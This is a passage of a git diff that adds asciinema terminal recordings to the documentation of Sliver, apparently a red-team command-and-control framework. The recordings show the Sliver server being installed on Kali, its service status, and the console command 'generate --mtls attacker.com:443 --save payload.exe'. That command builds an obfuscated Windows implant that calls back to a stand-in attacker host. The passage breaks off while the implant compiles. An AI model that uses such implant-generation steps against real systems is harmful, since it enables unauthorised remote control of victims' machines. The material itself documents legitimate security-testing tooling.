g++-mingw-w64.\r\r"] +[25.070115, "o", "\r\n"] +[25.111677, "o", "Preparing to unpack .../11-g++-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.126555, "o", "Unpacking g++-mingw-w64 (12.2.0-14+25.2) ...\r\r"] +[25.126669, "o", "\r\n"] +[25.216987, "o", "Selecting previously unselected package gcc-mingw-w64-i686.\r\r"] +[25.217088, "o", "\r\n"] +[25.255678, "o", "Preparing to unpack .../12-gcc-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.270793, "o", "Unpacking gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r"] +[25.270892, "o", "\r\n"] +[25.365118, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64.\r"] +[25.365778, "o", "\r\r\n"] +[25.4112, "o", "Preparing to unpack .../13-gcc-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.432324, "o", "Unpacking gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"] +[25.53257, "o", "Selecting previously unselected package gcc-mingw-w64.\r"] +[25.533103, "o", "\r\r\n"] +[25.571001, "o", "Preparing to unpack .../14-gcc-mingw-w64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[25.587241, "o", "Unpacking gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"] +[25.679011, "o", "Selecting previously unselected package mingw-w64.\r\r\r\n"] +[25.722919, "o", "Preparing to unpack .../15-mingw-w64_11.0.1-3_all.deb ...\r\r\r\n"] +[25.728104, "o", "Unpacking mingw-w64 (11.0.1-3) ...\r\r\r\n"] +[25.902193, "o", "Setting up g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.005609, "o", "update-alternatives: using /usr/bin/i686-w64-mingw32-g++-win32 to provide /usr/bin/i686-w64-mingw32-g++ (i686-w64-mingw32-g++) in auto mode\r\r\r\n"] +[26.017091, "o", "Setting up g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r"] +[26.017273, "o", "\r\n"] +[26.040122, "o", "update-alternatives: using /usr/bin/x86_64-w64-mingw32-g++-win32 to provide /usr/bin/x86_64-w64-mingw32-g++ (x86_64-w64-mingw32-g++) in auto mode\r\r\r\n"] +[26.049058, "o", "Setting up gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r"] +[26.049155, "o", "\r\r\n"] +[26.062459, "o", "Setting up gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[26.087899, "o", "Setting up gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r"] +[26.087992, "o", "\r"] +[26.089821, "o", "\r\n"] +[26.103367, "o", "Setting up gcc-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.122926, "o", "Setting up binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"] +[26.135388, "o", "Setting up gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[26.16056, "o", "Setting up g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r"] +[26.160655, "o", "\r\r\n"] +[26.185839, "o", "Setting up gcc-mingw-w64-i686 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.205943, "o", "Setting up g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"] +[26.206287, "o", "\r\r\n"] +[26.226095, "o", "Setting up gcc-mingw-w64 (12.2.0-14+25.2) ...\r\r\r\n"] +[26.245408, "o", "Setting up g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[26.282804, "o", "Setting up g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"] +[26.28308, "o", "\r\r\n"] +[26.302298, "o", "Setting up g++-mingw-w64 (12.2.0-14+25.2) ...\r"] +[26.30253, "o", "\r\r\n"] +[26.321881, "o", "Setting up mingw-w64 (11.0.1-3) ...\r"] +[26.322234, "o", "\r\r\n"] +[26.542589, "o", "Running from /root\r"] +[26.54269, "o", "\r\nImporting GPG key...\r\r\n"] +[26.558262, "o", "gpg: directory '/root/.gnupg' created\r\r\n"] +[26.55918, "o", "gpg: keybox '/root/.gnupg/pubring.kbx' created\r\r\n"] +[26.564249, "o", "gpg: /root/.gnupg/trustdb.gpg: trustdb created\r"] +[26.564907, "o", "\r\n"] +[26.565004, "o", "gpg: key 7DF912404449039C: public key \"Sliver \" imported\r\r\n"] +[26.584997, "o", "gpg: Total number processed: 1\r\r\ngpg: imported: 1\r\r\n"] +[26.586357, "o", "Fetching latest Sliver release URLs...\r"] +[26.586453, "o", "\r\n"] +[26.844076, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux\r"] +[26.844639, "o", "\r\n"] +[27.564024, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-client_linux.sig\r\r\n"] +[28.06082, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux\r"] +[28.061261, "o", "\r\n"] +[29.324939, "o", "Downloading https://github.com/BishopFox/sliver/releases/download/v1.5.41/sliver-server_linux.sig\r\r\n"] +[29.764868, "o", "Verifying signatures ...\r\r\n"] +[31.017103, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"] +[31.017879, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver \" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\n"] +[31.018347, "o", "Primary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"] +[31.293632, "o", "gpg: Signature made Tue Jul 11 21:41:18 2023 UTC\r"] +[31.294345, "o", "\r\ngpg: using RSA key 0ED3900D296CFA0283A4E4667DF912404449039C\r\r\ngpg: Good signature from \"Sliver \" [unknown]\r\r\ngpg: WARNING: This key is not certified with a trusted signature!\r\r\ngpg: There is no indication that the signature belongs to the owner.\r\r\nPrimary key fingerprint: 0ED3 900D 296C FA02 83A4 E466 7DF9 1240 4449 039C\r\r\n"] +[31.295425, "o", "Moving the Sliver server executable to /root/sliver-server...\r\r\n"] +[31.298457, "o", "Setting permissions for the Sliver server executable...\r"] +[31.298717, "o", "\r\n"] +[31.300852, "o", "Unpacking the Sliver server...\r"] +[31.30108, "o", "\r\n"] +[31.450868, "o", "\r"] +[31.451189, "o", "\r\nSliver Copyright (C) 2022 Bishop Fox\r\r\nThis program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.\r\r\nThis is free software, and you are welcome to redistribute it\r\r\nunder certain conditions; type 'licenses' for details.\r\r\n\r\r\nUnpacking assets ...\r\r\n"] +[35.564985, "o", "Setting permissions for the Sliver client executable...\r\r\n"] +[35.567358, "o", "Copying the Sliver client executable to /usr/local/bin/sliver-client...\r\r\n"] +[35.570389, "o", "'/root/sliver-client_linux' -> '/usr/local/bin/sliver-client'"] +[35.570712, "o", "\r\r\n"] +[35.651173, "o", "Creating a symbolic link for sliver-client at /usr/local/bin/sliver...\r\r\n"] +[35.655603, "o", "Setting permissions for the symbolic link /usr/local/bin/sliver...\r\r\n"] +[35.65606, "o", "Configuring systemd service ...\r\r\n"] +[35.66269, "o", "Starting the Sliver service...\r\r\n"] +[35.706928, "o", "Generating local configs ...\r"] +[35.707266, "o", "\r\nGenerating operator configs ...\r\r\n"] +[36.088212, "o", "Generating operator configs for user kali...\r"] +[36.088987, "o", "\r\n"] +[36.19216, "o", " \r\r"] +[36.234115, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[36.234287, "o", "\u001b[?1h\u001b="] +[36.235669, "o", "\u001b[?2004h"] +[37.91677, "o", "\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"] +[38.060827, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[24m\u001b[39m"] +[38.172203, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37ml\u001b[4m\u001b[37mi\u001b[24m\u001b[39m"] +[38.298728, "o", "\b\u001b[4m\u001b[37mi\u001b[4m\u001b[37mv\u001b[24m\u001b[39m"] +[38.476402, "o", "\b\u001b[4m\u001b[37mv\u001b[4m\u001b[37me\u001b[24m\u001b[39m"] +[38.545985, "o", "\b\b\b\b\b\u001b[24m\u001b[36ms\u001b[24m\u001b[36ml\u001b[24m\u001b[36mi\u001b[24m\u001b[36mv\u001b[24m\u001b[36me\u001b[36mr\u001b[39m"] +[39.070667, "o", "\u001b[?1l\u001b>"] +[39.073138, "o", "\u001b[?2004l\r\r\n"] +[39.226719, "o", "Connecting to localhost:31337 ...\r\n"] +[39.280105, "o", "\u001b[m"] +[39.285034, "o", "\u001b[1m\u001b[37m\r\n.------..------..------..------..------..------.\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\n`------'`------'`------'`------'`------'`------'\r\n\u001b[0m\r\nAll hackers gain reinforce\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"] +[39.285661, "o", "\u001b[1m\u001b[36m[*] \u001b[0mCheck for updates with the 'update' command\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[44.544399, "o", "\u001b[?2004l\r\r\n"] diff --git a/docs/sliver-docs/public/asciinema/intro.cast b/docs/sliver-docs/public/asciinema/intro.cast index b8174c0250..30af6710ec 100644 --- a/docs/sliver-docs/public/asciinema/intro.cast +++ b/docs/sliver-docs/public/asciinema/intro.cast @@ -20,5 +20,5 @@ [3.122345, "o", "\u001b[m"] [3.12272, "o", "\u001b[31m\r\n \t ██████ ██▓ ██▓ ██▒ █▓▓█████ ██▀███\r\n\t▒██ ▒ ▓██▒ ▓██▒▓██░ █▒▓█ ▀ ▓██ ▒ ██▒\r\n\t░ ▓██▄ ▒██░ ▒██▒ ▓██ █▒░▒███ ▓██ ░▄█ ▒\r\n\t ▒ ██▒▒██░ ░██░ ▒██ █░░▒▓█ ▄ ▒██▀▀█▄\r\n\t▒██████▒▒░██████▒░██░ ▒▀█░ ░▒████▒░██▓ ▒██▒\r\n\t▒ ▒▓▒ ▒ ░░ ▒░▓ ░░▓ ░ ▐░ ░░ ▒░ ░░ ▒▓ ░▒▓░\r\n\t░ ░▒ ░ ░░ ░ ▒ ░ ▒ ░ ░ ░░ ░ ░ ░ ░▒ ░ ▒░\r\n\t░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░░ ░\r\n\t\t ░ ░ ░ ░ ░ ░ ░ ░\r\n"] [3.124753, "o", "\u001b[0m\r\nAll hackers gain jump-start\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[1m[server] \u001b[0m\u001b[4msliver\u001b[0m > \u001b[0m \b"] -[5.29313, "o", "\u001b[J\u001b[2K\r"] +[60.29313, "o", "\u001b[J\u001b[2K\r"] diff --git a/docs/sliver-docs/public/asciinema/service-status-1.cast b/docs/sliver-docs/public/asciinema/service-status-1.cast new file mode 100644 index 0000000000..9be700924f --- /dev/null +++ b/docs/sliver-docs/public/asciinema/service-status-1.cast @@ -0,0 +1,36 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702829213, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.086575, "o", " \r\r"] +[0.139221, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.139878, "o", "\u001b[?1h\u001b="] +[0.140711, "o", "\u001b[?2004h"] +[1.228241, "o", "\u001b[1ms\u001b[0m"] +[1.229112, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"] +[1.485473, "o", "\b\u001b[0m\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[24m\u001b[39m\u001b[39m \u001b[39m \u001b[39m \u001b[39m \b\b\b\b"] +[1.602104, "o", "\b\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37my\u001b[4m\u001b[37ms\u001b[24m\u001b[39m"] +[1.692461, "o", "\b\u001b[4m\u001b[37ms\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"] +[1.82293, "o", "\b\u001b[4m\u001b[37mt\u001b[4m\u001b[37me\u001b[24m\u001b[39m"] +[1.952538, "o", "\b\u001b[4m\u001b[37me\u001b[4m\u001b[37mm\u001b[24m\u001b[39m"] +[2.224932, "o", "\b\u001b[4m\u001b[37mm\u001b[4m\u001b[37mc\u001b[24m\u001b[39m"] +[2.479643, "o", "\b\u001b[4m\u001b[37mc\u001b[4m\u001b[37mt\u001b[24m\u001b[39m"] +[2.609046, "o", "\u001b[8D\u001b[24m\u001b[36ms\u001b[24m\u001b[36my\u001b[24m\u001b[36ms\u001b[24m\u001b[36mt\u001b[24m\u001b[36me\u001b[24m\u001b[36mm\u001b[24m\u001b[36mc\u001b[24m\u001b[36mt\u001b[36ml\u001b[39m"] +[2.8689, "o", " "] +[3.562389, "o", "\u001b[1ms\u001b[0m"] +[3.646269, "o", "\b\u001b[0mst"] +[3.763246, "o", "a"] +[3.923354, "o", "t"] +[3.944407, "o", "u"] +[4.055406, "o", "s"] +[4.168779, "o", " "] +[4.353452, "o", "\u001b[1ms\u001b[0m"] +[4.571669, "o", "\b\u001b[1ms\u001b[1ml\u001b[0m"] +[4.582569, "o", "\b\b\u001b[0ms\u001b[0mli"] +[4.625017, "o", "v"] +[4.77009, "o", "e"] +[4.848588, "o", "r"] +[5.619327, "o", "\u001b[?1l\u001b>"] +[5.623929, "o", "\u001b[?2004l\r\r\n"] +[5.636017, "o", "\u001b[?1h\u001b=\r"] +[5.639311, "o", "\u001b[0;1;32m●\u001b[0m sliver.service - Sliver\u001b[m\r\n Loaded: loaded (\u001b]8;;file://kali/etc/systemd/system/sliver.service\u0007/etc/systemd/system/sliver.service\u001b]8;;\u0007; \u001b[0;1;38;5;185mdisabled\u001b[0m; preset: \u001b[0;1;38;5;185mdisabled\u001b[0m)\u001b[m\r\n Active: \u001b[0;1;32mactive (running)\u001b[0m since Sun 2023-12-17 16:02:25 UTC; 4min 33s ago\u001b[m\r\n Main PID: 4942 (sliver-server)\u001b[m\r\n Tasks: 9 (limit: 4624)\u001b[m\r\n Memory: 20.2M\u001b[m\r\n CPU: 152ms\u001b[m\r\n CGroup: /system.slice/sliver.service\u001b[m\r\n └─\u001b[0;38;5;245m4942 /root/sliver-server daemon\u001b[0m\u001b[m\r\n\u001b[m\r\nDec 17 16:02:25 kali systemd[1]: Started Sliver.\u001b[m\r\n"] +[5.639877, "o", "\r\u001b[K\u001b[?1l\u001b>"] +[15.640687, "o", " \r\r"] + diff --git a/docs/sliver-docs/public/asciinema/sliver-generate-1.cast b/docs/sliver-docs/public/asciinema/sliver-generate-1.cast new file mode 100644 index 0000000000..f922a44593 --- /dev/null +++ b/docs/sliver-docs/public/asciinema/sliver-generate-1.cast @@ -0,0 +1,905 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702834090, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.084636, "o", " \r\r"] +[0.137311, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.137854, "o", "\u001b[?1h\u001b="] +[0.138805, "o", "\u001b[?2004h"] +[1.126586, "o", "\u001b[1ms\u001b[0m"] +[1.127617, "o", "\b\u001b[1ms\u001b[0m\u001b[38;2;153;153;153mliver\u001b[39m\b\b\b\b\b"] +[1.233311, "o", "\b\u001b[1ms\u001b[39m\u001b[1ml\u001b[0m"] +[1.341486, "o", "\b\b\u001b[1ms\u001b[1ml\u001b[39m\u001b[1mi\u001b[0m"] +[1.645373, "o", "\b\u001b[1mi\u001b[39m\u001b[1mv\u001b[0m\u001b[38;2;153;153;153mv\u001b[38;2;153;153;153me\u001b[38;2;153;153;153mr\u001b[39m\b\b\b"] +[1.651818, "o", "\b\u001b[1mv\u001b[39m\u001b[1me\u001b[0m\u001b[39m \u001b[39m \b\b"] +[1.652699, "o", "\u001b[38;2;153;153;153mr\u001b[39m\b"] +[1.724472, "o", "\b\b\b\b\b\u001b[0m\u001b[36ms\u001b[0m\u001b[36ml\u001b[0m\u001b[36mi\u001b[0m\u001b[36mv\u001b[0m\u001b[36me\u001b[36mr\u001b[39m"] +[2.169426, "o", "\u001b[?1l\u001b>"] +[2.172204, "o", "\u001b[?2004l\r\r\n"] +[2.23265, "o", "Connecting to localhost:31337 ...\r\n"] +[2.281037, "o", "\u001b[m"] +[2.283301, "o", "\u001b[32m\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\n\u001b[0m\r\nAll hackers gain epic\r\n"] +[2.283811, "o", "\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.41 - f2a3915c79b31ab31c0c2f0428bbd53d9e93c54b\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\n\r\n"] +[2.28395, "o", "\u001b[0m\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0m \b"] +[2.837538, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mg"] +[3.251842, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mge"] +[3.392601, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgen"] +[3.623616, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgene"] +[3.741996, "o", "\u001b[J\u001b[2K\r"] +[3.742093, "o", "\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgener"] +[3.83311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate "] +[4.377508, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate -"] +[4.529721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --"] +[4.78866, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --m"] +[4.941, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mt"] +[5.111754, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtl"] +[5.516698, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls"] +[5.734855, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls "] +[6.152158, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls a"] +[6.361633, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls at"] +[6.522567, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls att"] +[6.664864, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls atta"] +[6.776953, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attac"] +[7.109455, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attack"] +[7.414159, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacke\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker"] +[7.645484, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker."] +[7.803638, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.c"] +[7.935967, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.co"] +[8.067311, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com"] +[8.852734, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:"] +[9.168342, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:4"] +[9.509949, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:44"] +[9.570568, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443"] +[9.902052, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 "] +[10.820721, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 -"] +[11.289457, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --s"] +[11.428343, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sa"] +[11.800929, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --sav"] +[11.99739, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save "] +[13.047743, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save p"] +[13.076903, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pa"] +[13.180503, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save pay"] +[13.371461, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payl"] +[13.541123, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save paylo"] +[13.701165, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payloa"] +[13.891736, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload"] +[14.228103, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload."] +[14.278758, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.e"] +[14.505456, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.ex"] +[14.748707, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe"] +[14.995965, "o", "\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\u001b[J\u001b[2K\r\u001b[m\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[0mgenerate --mtls attacker.com:443 --save payload.exe\r\n"] +[14.996554, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new windows/amd64 implant binary\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m\u001b[1mSymbol obfuscation is enabled\u001b[0m\r\n"] +[15.09658, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[15.196943, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[15.297363, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[15.397811, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[15.498252, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[15.598621, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[15.698978, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[15.799391, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[15.899706, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[16.000093, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[16.100436, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[16.200834, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[16.301236, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[16.402302, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[16.502202, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[16.602606, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[16.703545, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[16.803923, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[16.904345, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[17.004804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[17.107086, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[17.207448, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[17.30791, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[17.409979, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[17.510282, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."] +[17.610686, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."] +[17.711194, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."] +[17.81158, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."] +[17.91203, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."] +[18.012607, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."] +[18.113031, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."] +[18.213472, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."] +[18.313829, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."] +[18.414224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."] +[18.514641, "o", "\r\u001b[2K ⠼ Compiling, please wait 